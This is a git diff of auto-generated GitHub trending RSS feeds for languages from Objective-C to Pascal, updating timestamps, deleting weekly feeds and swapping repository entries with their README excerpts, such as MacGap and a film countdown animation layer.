http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:49Z + 2023-10-30T01:32:41Z Daily Trending of Object Data Instance Notation in GitHub \ No newline at end of file diff --git a/object-data-instance-notation/weekly/index.xml b/object-data-instance-notation/weekly/index.xml deleted file mode 100644 index ac030dced4d..00000000000 --- a/object-data-instance-notation/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Object Data Instance Notation Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:05Z - Weekly Trending of Object Data Instance Notation in GitHub - - \ No newline at end of file diff --git a/objective-c++/daily/index.xml b/objective-c++/daily/index.xml index fd5a3027f88..2caa679f4c8 100644 --- a/objective-c++/daily/index.xml +++ b/objective-c++/daily/index.xml @@ -1,14 +1,7 @@ GitHub Objective-C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:55Z + 2023-10-30T01:32:46Z Daily Trending of Objective-C++ in GitHub - - ably/delta-codec-cocoa - 2023-10-29T01:37:55Z - tag:github.com,2023-10-29:/ably/delta-codec-cocoa - - <p>Cocoa VCDiff decoder</p><hr> - \ No newline at end of file diff --git a/objective-c++/weekly/index.xml b/objective-c++/weekly/index.xml deleted file mode 100644 index 61c39558875..00000000000 --- a/objective-c++/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Objective-C++ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:10Z - Weekly Trending of Objective-C++ in GitHub - - \ No newline at end of file diff --git a/objective-c/daily/index.xml b/objective-c/daily/index.xml index 2b413ce97b5..be857e35bf2 100644 --- a/objective-c/daily/index.xml +++ b/objective-c/daily/index.xml @@ -1,14 +1,21 @@ GitHub Objective-C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:58Z + 2023-10-30T01:32:48Z Daily Trending of Objective-C in GitHub - perlmunger/FilmCountdown - 2023-10-29T01:37:58Z - tag:github.com,2023-10-29:/perlmunger/FilmCountdown - - <p>A Core Animation layer made to display a film countdown</p><hr><h1>Film Countdown Core Animation Layer</h1> <p>I wanted some sort of countdown mechanism for a project I was working on, so I created this Core Animation layer. It is implemented entirely in layers. There is no imagery used at all. Here is a screenshot of what it produces:</p> <p><img src="http://i.imgur.com/OrFzSfQ.gif" alt="Countdown Image"></p> <p>Here is how you use the code. To add it to a view controller,</p> <pre><code>- (void)viewDidLoad { [super viewDidLoad]; _filmCountdownLayer = [MLFilmCountdownLayer layer]; [_filmCountdownLayer setPosition:[[self view] center]]; [[[self view] layer] addSublayer:_filmCountdownLayer]; } </code></pre> <p>Then, create some action and trigger the animation and provide it a completion block.</p> <pre><code>- (IBAction)didTapRunAnimationButton:(id)sender { [_filmCountdownLayer setOpacity:1.0f]; [_filmCountdownLayer setCount:5]; [_filmCountdownLayer startCountdownWithCompletionBlock:^{ [CATransaction begin]; [CATransaction setAnimationDuration:2.0f]; [_filmCountdownLayer setOpacity:0.0f]; [CATransaction commit]; }]; } </code></pre> <p>This code fades the whole countdown layer to a zero opacity when the animation has completed.</p> <p><strong>Known Issues</strong></p> <p>I haven't had time to work out scaling the text size based on the frame size much yet, so feel free to let me now if you play with that and get it sorted. I'll merge your changes. Otherwise, you'll just have to tweak that in the internals until I get a chance to fix it.</p> <p><strong>License</strong></p> <p>The code is MIT licensed. Have fun with it. Submit pull requests if you add some cool or interesting additions. Keep in mind, though, that I might ignore you.</p> <p>Thanks and have fun.</p> + MacGapProject/MacGap1 + 2023-10-30T01:32:48Z + tag:github.com,2023-10-30:/MacGapProject/MacGap1 + + <p>Desktop WebKit wrapper for HTML/CSS/JS applications.</p><hr><h1>MacGap</h1> <p>The MacGap project provides HTML/JS/CSS developers an Xcode project for developing Native OSX Apps that run in OSX's WebView and take advantage of WebKit technologies.</p> <p>The project exposes a JavaScript API for OS X integration, such as displaying native OS X 10.9 notifications. The MacGap project is extremely lightweight and nimble; a blank application is about 980KB.</p> <h3>Features:</h3> <ul> <li>tiny compiled app sizes</li> <li>Mac App Store compatible</li> <li>access to many Mac OS X-specific features</li> </ul> <h2>Pre-requisites</h2> <p>MacGap works on OSX 10.6 and later.</p> <p>Generate apps with the <a href="http://github.com/maccman/macgap-rb">macgap generator</a>, no compile necessary.</p> <pre><code class="language-bash">gem install macgap macgap new myapp macgap build myapp </code></pre> <h2>API</h2> <p>MacGap exposes an object called <code>macgap</code> inside JavaScript. You can use it to alter the Dock icon and display Growl notifications, amongst other things. The API is documented in the WIKI on GitHub: <a href="https://github.com/maccman/macgap/wiki">https://github.com/maccman/macgap/wiki</a></p> <h2>Attributes</h2> <p>MacGap was forked/ported from Phonegap-mac. It's under the same license (MIT).</p> <h2>Custom Build</h2> <p>To build, make sure you have installed the latest Mac OSX Core Library. Download at <a href="http://developer.apple.com/">http://developer.apple.com/</a>.</p> <p>Just clone the repository and build in Xcode. The file <code>public/index.html</code> is loaded on startup.</p> + + + hungjk07/shopkeeping + 2023-10-30T01:32:48Z + tag:github.com,2023-10-30:/hungjk07/shopkeeping + + <p></p><hr> \ No newline at end of file diff --git a/objective-c/weekly/index.xml b/objective-c/weekly/index.xml deleted file mode 100644 index 316650af595..00000000000 --- a/objective-c/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Objective-C Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:13Z - Weekly Trending of Objective-C in GitHub - - - kbessiere/AnalyticsConnector.xcframework - 2023-10-29T01:58:13Z - tag:github.com,2023-10-29:/kbessiere/AnalyticsConnector.xcframework - - <p></p><hr> - - - muxinc/stats-sdk-objc - 2023-10-29T01:58:13Z - tag:github.com,2023-10-29:/muxinc/stats-sdk-objc - - <p>Mux Stats SDK for iOS and tvOS</p><hr><h1>stats-sdk-objc</h1> <p>Hosts the core library for Mux for objective-c based integrations as of v2.x. The integration with <code>AVPlayer</code>/<code>AVPlayerItem</code> has been moved to a <a href="https://github.com/muxinc/mux-stats-sdk-avplayer">new repository</a>.</p> <h1>Previous Versions</h1> <p>Versions 0.x of this library included the full <code>AVPlayer</code> integration, see <a href="https://docs.mux.com/docs/ios-integration-guide">our docs</a> for integration instructions. If you currently use the cocoapod for this library as your integration, do <em>not</em> upgrade above 0.x of this library.</p> <h1>Release</h1> <p>To support the Carthage packaging, run the <code>carthage-archive.sh</code> when making a new release. Then attach the output to the release.</p> <h3>Upgrading</h3> <p>See <a href="https://github.com/muxinc/mux-stats-sdk-avplayer">this repository</a> for the updated <code>AVPlayer</code> integration.</p> - - - castle/castle-ios - 2023-10-29T01:58:13Z - tag:github.com,2023-10-29:/castle/castle-ios - - <p>iOS library for Castle</p><hr><h1>iOS SDK for Castle</h1> <p><strong><a href="https://castle.io">Castle</a> adds real-time monitoring of your authentication stack, instantly notifying you and your users on potential account hijacks.</strong></p> <p><a href="https://img.shields.io/cocoapods/v/Castle.svg"><img src="https://img.shields.io/cocoapods/v/Castle.svg?sanitize=true" alt="CocoaPods Compatible"></a> <a href="https://github.com/Carthage/Carthage"><img src="https://img.shields.io/badge/Carthage-compatible-4BC51D.svg?style=flat" alt="Carthage Compatible"></a> <a href="http://cocoapods.org/pods/Castle"><img src="https://img.shields.io/cocoapods/l/Castle.svg?style=flat" alt="License"></a> <a href="https://circleci.com/gh/castle/castle-ios"><img src="https://circleci.com/gh/castle/castle-ios.svg?style=shield" alt="CircleCI"></a> <a href="https://codecov.io/gh/castle/castle-ios"><img src="https://codecov.io/gh/castle/castle-ios/branch/master/graph/badge.svg?sanitize=true" alt="codecov"></a></p> <h2>Requirements</h2> <ul> <li>iOS 9.0+</li> <li>Xcode 9.0+</li> </ul> <h2>Installation</h2> <p>Castle is available through <a href="https://cocoapods.org">CocoaPods</a>, <a href="https://github.com/Carthage/Carthage">Carthage</a> and <a href="https://swift.org/package-manager/">Switft Package Manager</a>.</p> <h3>CocoaPods</h3> <p>Add Castle as a dependency by including it in your <code>Podfile</code>.</p> <pre><code>pod "Castle", "3.0.7" </code></pre> <h3>Carthage</h3> <p>We have started to include internal dependencies (as xcframeworks) that Carthage currently doesn't support. Therefore we are (temporarily) not supporting Carthage until they add support for adding xcframework dependencies. For now we recommend that you use one of the other installation options.</p> <h3>Swift Package Manager</h3> <p>Add Castle as a dependency by adding it to the <code>dependencies</code> value of your <code>Package.swift</code>.</p> <pre><code>dependencies: [ .package(url: "https://github.com/castle/castle-ios.git", .upToNextMajor(from: "3.0.7")) ] </code></pre> <h3>Manually</h3> <p>Download the zip file from the github release, unzip and drag <code>GeoZip.xcframework</code>, <code>Highwind.xcframework</code> and <code>Castle.xcframework</code> to the <strong>Frameworks, Libraries and Embedded Content</strong> section of the target. They should all be set to <strong>Embed &amp; Sign</strong></p> <h2>Usage</h2> <p>Please see the <a href="https://docs.castle.io/docs/sdk-mobile">Mobile Integration Guide</a>.</p> <h2>Library size</h2> <p>Library size is approximately <strong>74kb</strong> and was calculated using the <a href="https://github.com/google/cocoapods-size">cocoapods-size</a> tool from Google.</p> - - \ No newline at end of file diff --git a/objective-j/daily/index.xml b/objective-j/daily/index.xml index c18e56a495f..75c79083f06 100644 --- a/objective-j/daily/index.xml +++ b/objective-j/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:52Z + 2023-10-30T01:32:45Z Daily Trending of Objective-J in GitHub \ No newline at end of file diff --git a/objective-j/weekly/index.xml b/objective-j/weekly/index.xml deleted file mode 100644 index 8d688f06f89..00000000000 --- a/objective-j/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Objective-J Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:08Z - Weekly Trending of Objective-J in GitHub - - \ No newline at end of file diff --git a/objectscript/daily/index.xml b/objectscript/daily/index.xml index a55dc7eda23..807fd9b610c 100644 --- a/objectscript/daily/index.xml +++ b/objectscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjectScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:53Z + 2023-10-30T01:32:44Z Daily Trending of ObjectScript in GitHub \ No newline at end of file diff --git a/objectscript/weekly/index.xml b/objectscript/weekly/index.xml deleted file mode 100644 index e92b0efe432..00000000000 --- a/objectscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ObjectScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:09Z - Weekly Trending of ObjectScript in GitHub - - \ No newline at end of file diff --git a/ocaml/daily/index.xml b/ocaml/daily/index.xml index 57764b61ec4..90047f2aaac 100644 --- a/ocaml/daily/index.xml +++ b/ocaml/daily/index.xml @@ -1,7 +1,14 @@ GitHub OCaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:11Z + 2023-10-30T01:32:56Z Daily Trending of OCaml in GitHub + + c-cube/thread-local-storage + 2023-10-30T01:32:56Z + tag:github.com,2023-10-30:/c-cube/thread-local-storage + + <p>thread-local storage for OCaml</p><hr> + \ No newline at end of file diff --git a/ocaml/weekly/index.xml b/ocaml/weekly/index.xml deleted file mode 100644 index 88e7633bfd6..00000000000 --- a/ocaml/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub OCaml Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:27Z - Weekly Trending of OCaml in GitHub - - - ocaml-flambda/flambda-backend - 2023-10-29T01:58:27Z - tag:github.com,2023-10-29:/ocaml-flambda/flambda-backend - - <p>The Flambda backend project for OCaml</p><hr> - - \ No newline at end of file diff --git a/odin/daily/index.xml b/odin/daily/index.xml index ef0c8ef8d1f..7f1c8814641 100644 --- a/odin/daily/index.xml +++ b/odin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Odin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:08Z + 2023-10-30T01:32:54Z Daily Trending of Odin in GitHub \ No newline at end of file diff --git a/odin/weekly/index.xml b/odin/weekly/index.xml deleted file mode 100644 index 87b411d248d..00000000000 --- a/odin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Odin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:24Z - Weekly Trending of Odin in GitHub - - \ No newline at end of file diff --git a/omgrofl/daily/index.xml b/omgrofl/daily/index.xml index 1aeeb74f9bb..f429a9ee6fe 100644 --- a/omgrofl/daily/index.xml +++ b/omgrofl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Omgrofl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:07Z + 2023-10-30T01:32:53Z Daily Trending of Omgrofl in GitHub \ No newline at end of file diff --git a/omgrofl/weekly/index.xml b/omgrofl/weekly/index.xml deleted file mode 100644 index dc0548c38bb..00000000000 --- a/omgrofl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Omgrofl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:25Z - Weekly Trending of Omgrofl in GitHub - - \ No newline at end of file diff --git a/ooc/daily/index.xml b/ooc/daily/index.xml index e31bc35924f..c9c89a07ed8 100644 --- a/ooc/daily/index.xml +++ b/ooc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ooc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:09Z + 2023-10-30T01:32:54Z Daily Trending of ooc in GitHub \ No newline at end of file diff --git a/ooc/weekly/index.xml b/ooc/weekly/index.xml deleted file mode 100644 index 153ca933a05..00000000000 --- a/ooc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ooc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:23Z - Weekly Trending of ooc in GitHub - - \ No newline at end of file diff --git a/opa/daily/index.xml b/opa/daily/index.xml index 552ba54f8ef..c6c3ac7fc7d 100644 --- a/opa/daily/index.xml +++ b/opa/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opa Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:14Z + 2023-10-30T01:32:58Z Daily Trending of Opa in GitHub \ No newline at end of file diff --git a/opa/weekly/index.xml b/opa/weekly/index.xml deleted file mode 100644 index a0e40a0b0a5..00000000000 --- a/opa/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Opa Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:30Z - Weekly Trending of Opa in GitHub - - \ No newline at end of file diff --git a/opal/daily/index.xml b/opal/daily/index.xml index 37ba5a8775c..f65f49b023e 100644 --- a/opal/daily/index.xml +++ b/opal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:14Z + 2023-10-30T01:32:57Z Daily Trending of Opal in GitHub \ No newline at end of file diff --git a/opal/weekly/index.xml b/opal/weekly/index.xml deleted file mode 100644 index 8623c9ecfb1..00000000000 --- a/opal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Opal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:29Z - Weekly Trending of Opal in GitHub - - \ No newline at end of file diff --git a/open-policy-agent/daily/index.xml b/open-policy-agent/daily/index.xml index 3229af07b25..fbcc17698f4 100644 --- a/open-policy-agent/daily/index.xml +++ b/open-policy-agent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Open Policy Agent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:16Z + 2023-10-30T01:32:59Z Daily Trending of Open Policy Agent in GitHub \ No newline at end of file diff --git a/open-policy-agent/weekly/index.xml b/open-policy-agent/weekly/index.xml deleted file mode 100644 index d1d20ae11dd..00000000000 --- a/open-policy-agent/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Open Policy Agent Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:31Z - Weekly Trending of Open Policy Agent in GitHub - - \ No newline at end of file diff --git a/opencl/daily/index.xml b/opencl/daily/index.xml index c42c77008c2..aca6794bff0 100644 --- a/opencl/daily/index.xml +++ b/opencl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:18Z + 2023-10-30T01:33:02Z Daily Trending of OpenCL in GitHub \ No newline at end of file diff --git a/opencl/weekly/index.xml b/opencl/weekly/index.xml deleted file mode 100644 index f42ea9204c9..00000000000 --- a/opencl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:33Z - Weekly Trending of OpenCL in GitHub - - \ No newline at end of file diff --git a/openedge-abl/daily/index.xml b/openedge-abl/daily/index.xml index f493741e792..02ab7a97bf6 100644 --- a/openedge-abl/daily/index.xml +++ b/openedge-abl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenEdge ABL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:19Z + 2023-10-30T01:33:01Z Daily Trending of OpenEdge ABL in GitHub \ No newline at end of file diff --git a/openedge-abl/weekly/index.xml b/openedge-abl/weekly/index.xml deleted file mode 100644 index 538c5b8205d..00000000000 --- a/openedge-abl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenEdge ABL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:35Z - Weekly Trending of OpenEdge ABL in GitHub - - \ No newline at end of file diff --git a/openqasm/daily/index.xml b/openqasm/daily/index.xml index dcf784d42ac..ce3c26e4a63 100644 --- a/openqasm/daily/index.xml +++ b/openqasm/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenQASM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:20Z + 2023-10-30T01:33:02Z Daily Trending of OpenQASM in GitHub \ No newline at end of file diff --git a/openqasm/weekly/index.xml b/openqasm/weekly/index.xml deleted file mode 100644 index 67db190bcdf..00000000000 --- a/openqasm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenQASM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:32Z - Weekly Trending of OpenQASM in GitHub - - \ No newline at end of file diff --git a/openrc-runscript/daily/index.xml b/openrc-runscript/daily/index.xml index 34ab337bdd3..d39910640ca 100644 --- a/openrc-runscript/daily/index.xml +++ b/openrc-runscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenRC runscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:22Z + 2023-10-30T01:33:03Z Daily Trending of OpenRC runscript in GitHub \ No newline at end of file diff --git a/openrc-runscript/weekly/index.xml b/openrc-runscript/weekly/index.xml deleted file mode 100644 index 08834060fb5..00000000000 --- a/openrc-runscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenRC runscript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:37Z - Weekly Trending of OpenRC runscript in GitHub - - \ No newline at end of file diff --git a/openscad/daily/index.xml b/openscad/daily/index.xml index 618a293c294..6ded397e061 100644 --- a/openscad/daily/index.xml +++ b/openscad/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenSCAD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:23Z + 2023-10-30T01:33:05Z Daily Trending of OpenSCAD in GitHub \ No newline at end of file diff --git a/openscad/weekly/index.xml b/openscad/weekly/index.xml deleted file mode 100644 index db82ed25a69..00000000000 --- a/openscad/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenSCAD Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:38Z - Weekly Trending of OpenSCAD in GitHub - - \ No newline at end of file diff --git a/openstep-property-list/daily/index.xml b/openstep-property-list/daily/index.xml index 65e6c7f5938..2e26b3090e9 100644 --- a/openstep-property-list/daily/index.xml +++ b/openstep-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenStep Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:24Z + 2023-10-30T01:33:04Z Daily Trending of OpenStep Property List in GitHub \ No newline at end of file diff --git a/openstep-property-list/weekly/index.xml b/openstep-property-list/weekly/index.xml deleted file mode 100644 index 0ce5b0ec5aa..00000000000 --- a/openstep-property-list/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenStep Property List Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:39Z - Weekly Trending of OpenStep Property List in GitHub - - \ No newline at end of file diff --git a/opentype-feature-file/daily/index.xml b/opentype-feature-file/daily/index.xml index f4fcf000ff5..d12f7c2c40a 100644 --- a/opentype-feature-file/daily/index.xml +++ b/opentype-feature-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenType Feature File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:21Z + 2023-10-30T01:33:06Z Daily Trending of OpenType Feature File in GitHub \ No newline at end of file diff --git a/opentype-feature-file/weekly/index.xml b/opentype-feature-file/weekly/index.xml deleted file mode 100644 index 56431640478..00000000000 --- a/opentype-feature-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenType Feature File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:36Z - Weekly Trending of OpenType Feature File in GitHub - - \ No newline at end of file diff --git a/org/daily/index.xml b/org/daily/index.xml index 3f98370e772..2f817f7ecbc 100644 --- a/org/daily/index.xml +++ b/org/daily/index.xml @@ -1,7 +1,7 @@ GitHub Org Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:26Z + 2023-10-30T01:33:07Z Daily Trending of Org in GitHub \ No newline at end of file diff --git a/org/weekly/index.xml b/org/weekly/index.xml deleted file mode 100644 index d7f506cfe45..00000000000 --- a/org/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Org Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:41Z - Weekly Trending of Org in GitHub - - \ No newline at end of file diff --git a/ox/daily/index.xml b/ox/daily/index.xml index 6043b90a263..f2f3ae8ad26 100644 --- a/ox/daily/index.xml +++ b/ox/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ox Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:27Z + 2023-10-30T01:33:08Z Daily Trending of Ox in GitHub \ No newline at end of file diff --git a/ox/weekly/index.xml b/ox/weekly/index.xml deleted file mode 100644 index b0e4a7672cb..00000000000 --- a/ox/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ox Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:41Z - Weekly Trending of Ox in GitHub - - \ No newline at end of file diff --git a/oxygene/daily/index.xml b/oxygene/daily/index.xml index c69c28517ee..3919ecced29 100644 --- a/oxygene/daily/index.xml +++ b/oxygene/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oxygene Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:28Z + 2023-10-30T01:33:07Z Daily Trending of Oxygene in GitHub \ No newline at end of file diff --git a/oxygene/weekly/index.xml b/oxygene/weekly/index.xml deleted file mode 100644 index 30fbc9e3797..00000000000 --- a/oxygene/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Oxygene Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:42Z - Weekly Trending of Oxygene in GitHub - - \ No newline at end of file diff --git a/oz/daily/index.xml b/oz/daily/index.xml index 030176d5db9..9ec96ca225e 100644 --- a/oz/daily/index.xml +++ b/oz/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oz Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:32Z + 2023-10-30T01:33:10Z Daily Trending of Oz in GitHub \ No newline at end of file diff --git a/oz/weekly/index.xml b/oz/weekly/index.xml deleted file mode 100644 index e8c3b03f0ad..00000000000 --- a/oz/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Oz Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:46Z - Weekly Trending of Oz in GitHub - - \ No newline at end of file diff --git a/p4/daily/index.xml b/p4/daily/index.xml index f41aa9beafb..8e817f9ad28 100644 --- a/p4/daily/index.xml +++ b/p4/daily/index.xml @@ -1,7 +1,7 @@ GitHub P4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:31Z + 2023-10-30T01:33:11Z Daily Trending of P4 in GitHub \ No newline at end of file diff --git a/p4/weekly/index.xml b/p4/weekly/index.xml deleted file mode 100644 index 67cae87031d..00000000000 --- a/p4/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub P4 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:44Z - Weekly Trending of P4 in GitHub - - \ No newline at end of file diff --git a/pan/daily/index.xml b/pan/daily/index.xml index 0d2d907ebb9..b26b9960c40 100644 --- a/pan/daily/index.xml +++ b/pan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:29Z + 2023-10-30T01:33:12Z Daily Trending of Pan in GitHub \ No newline at end of file diff --git a/pan/weekly/index.xml b/pan/weekly/index.xml deleted file mode 100644 index cf105b8a82e..00000000000 --- a/pan/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pan Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:43Z - Weekly Trending of Pan in GitHub - - \ No newline at end of file diff --git a/papyrus/daily/index.xml b/papyrus/daily/index.xml index b87e032e4a5..03d0413a073 100644 --- a/papyrus/daily/index.xml +++ b/papyrus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Papyrus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:33Z + 2023-10-30T01:33:13Z Daily Trending of Papyrus in GitHub \ No newline at end of file diff --git a/papyrus/weekly/index.xml b/papyrus/weekly/index.xml deleted file mode 100644 index ae128f70c6c..00000000000 --- a/papyrus/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Papyrus Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:50Z - Weekly Trending of Papyrus in GitHub - - \ No newline at end of file diff --git a/parrot-assembly/daily/index.xml b/parrot-assembly/daily/index.xml index 69321b8d02c..b869963761f 100644 --- a/parrot-assembly/daily/index.xml +++ b/parrot-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:34Z + 2023-10-30T01:33:15Z Daily Trending of Parrot Assembly in GitHub \ No newline at end of file diff --git a/parrot-assembly/weekly/index.xml b/parrot-assembly/weekly/index.xml deleted file mode 100644 index 3c6fd031c98..00000000000 --- a/parrot-assembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Parrot Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:49Z - Weekly Trending of Parrot Assembly in GitHub - - \ No newline at end of file diff --git a/parrot-internal-representation/daily/index.xml b/parrot-internal-representation/daily/index.xml index 379f6d37100..8437e11a70c 100644 --- a/parrot-internal-representation/daily/index.xml +++ b/parrot-internal-representation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Internal Representation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:35Z + 2023-10-30T01:33:14Z Daily Trending of Parrot Internal Representation in GitHub \ No newline at end of file diff --git a/parrot-internal-representation/weekly/index.xml b/parrot-internal-representation/weekly/index.xml deleted file mode 100644 index c9f7638572d..00000000000 --- a/parrot-internal-representation/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Parrot Internal Representation Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:48Z - Weekly Trending of Parrot Internal Representation in GitHub - - \ No newline at end of file diff --git a/parrot/daily/index.xml b/parrot/daily/index.xml index d4ca975c9cb..afe5c0f9732 100644 --- a/parrot/daily/index.xml +++ b/parrot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:38:35Z + 2023-10-30T01:33:14Z Daily Trending of Parrot in GitHub \ No newline at end of file diff --git a/parrot/weekly/index.xml b/parrot/weekly/index.xml deleted file mode 100644 index 28e9c205fff..00000000000 --- a/parrot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Parrot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:58:47Z - Weekly Trending of Parrot in GitHub - - \ No newline at end of file diff --git a/pascal/daily/index.xml b/pascal/daily/index.xml index 2a525943d06..2225b09a773 100644 --- a/pascal/daily/index.xml +++ b/pascal/daily/index.xml @@ -1,14 +1,7 @@ GitHub Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 